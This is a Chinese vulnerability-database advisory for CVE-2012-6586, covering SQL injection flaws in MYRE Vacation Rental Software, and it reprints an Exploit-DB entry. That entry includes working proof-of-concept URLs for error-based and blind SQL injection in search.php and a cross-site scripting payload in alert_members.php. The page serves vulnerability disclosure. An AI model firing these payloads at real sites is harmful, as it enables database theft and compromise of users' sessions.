MYRE Vacation Rental Software 多个SQL注入漏洞

QQ空间 新浪微博 微信 QQ facebook twitter
漏洞ID 1121411 漏洞类型 SQL注入
发布时间 2012-11-14 更新时间 2013-08-27
CVE编号 CVE-2012-6586 CNNVD-ID CNNVD-201308-369
漏洞平台 PHP CVSS评分 7.5
|漏洞来源
https://www.exploit-db.com/exploits/22712
http://www.cnnvd.org.cn/web/xxk/ldxqById.tag?CNNVD=CNNVD-201308-369
|漏洞详情
MYREVacationRentalSoftware是一套度假房屋租赁软件。该软件提供在线发布房源信息、网上预约、房源收藏、在线支付等功能。MYREVacationRentalSoftware中存在多个SQL注入漏洞。远程攻击者可借助向vacation/1_mobile/search.php脚本传递garage1或bathrooms1参数或向vacation/widgate/request_more_information.php脚本传递特制的参数,利用这些漏洞执行任意SQL命令。
|漏洞EXP
# Exploit Title: MYREphp Vacation Rental Software Multiple Vulnerabilities
# Date: 13.10.201
# Exploit Author: d3b4g
# Vendor Homepage:http://myrephp.com
# Software Link: http://myrephp.com/vacation/
# Tested on: Windows 7
# Blog: d3b4g.me


 
  
 
----------------------------------------------------------------------------------
 () SQL Injection :

  This vulnerability affects
  ---------------------------
 /vacation/1_mobile/search.php.

   http://localhost/vacation/1_mobile/search.php?bathrooms1=&bedrooms1=&cata1=&cat_id1=&city1=&country1=&garage1=%28select%201%20and%20row%281%2c1%29%3e%28select%20count%28*%29%2cconcat%28concat%28CHAR%2852%29%2cCHAR%2867%29%2cCHAR%28117%29%2cCHAR%2881%29%2cCHAR%2878%29%2cCHAR%2879%29%2cCHAR%2866%29%2cCHAR%2871%29%2cCHAR%2866%29%2cCHAR%2880%29%2cCHAR%2849%29%29%2cfloor%28rand%28%29*2%29%29x%20from%20%28select%201%20union%20select%202%29a%20group%20by%20x%20limit%201%29%29&keywords1=&look=3&nolinks1=5&order=price&page=2&pool1=&price1=&price2=&sort=DESC&state1=&zip1=
 

 () Cross Site Scripting:-


   http://localhost/vacation/1_mobile/alert_members.php?action=login&link_idd=%27%20onmouseover%3dprompt%28900153%29%20bad%3d%27

 



  () Blind SQL Injection
    
  Affected items:
  ------------------
  /vacation/1_mobile/search.php 
  /vacation/widgate/request_more_information.php

  POC:  http://localhost/vacation/1_mobile/search.php?bathrooms1=-1%20or%2077%20%3d%2075&bedrooms1=1&cat_id1=1&city1=San%20Francisco&look=1&nolinks1=20&order=link_id&price1=1&price2=1&sort=DESC

 
 
 
  # note :- This script is pr0n to multiple sql injection vuln.


-end-

-end-
|参考资料

来源:EXPLOIT-DB
名称:22712
链接:http://www.exploit-db.com/exploits/22712/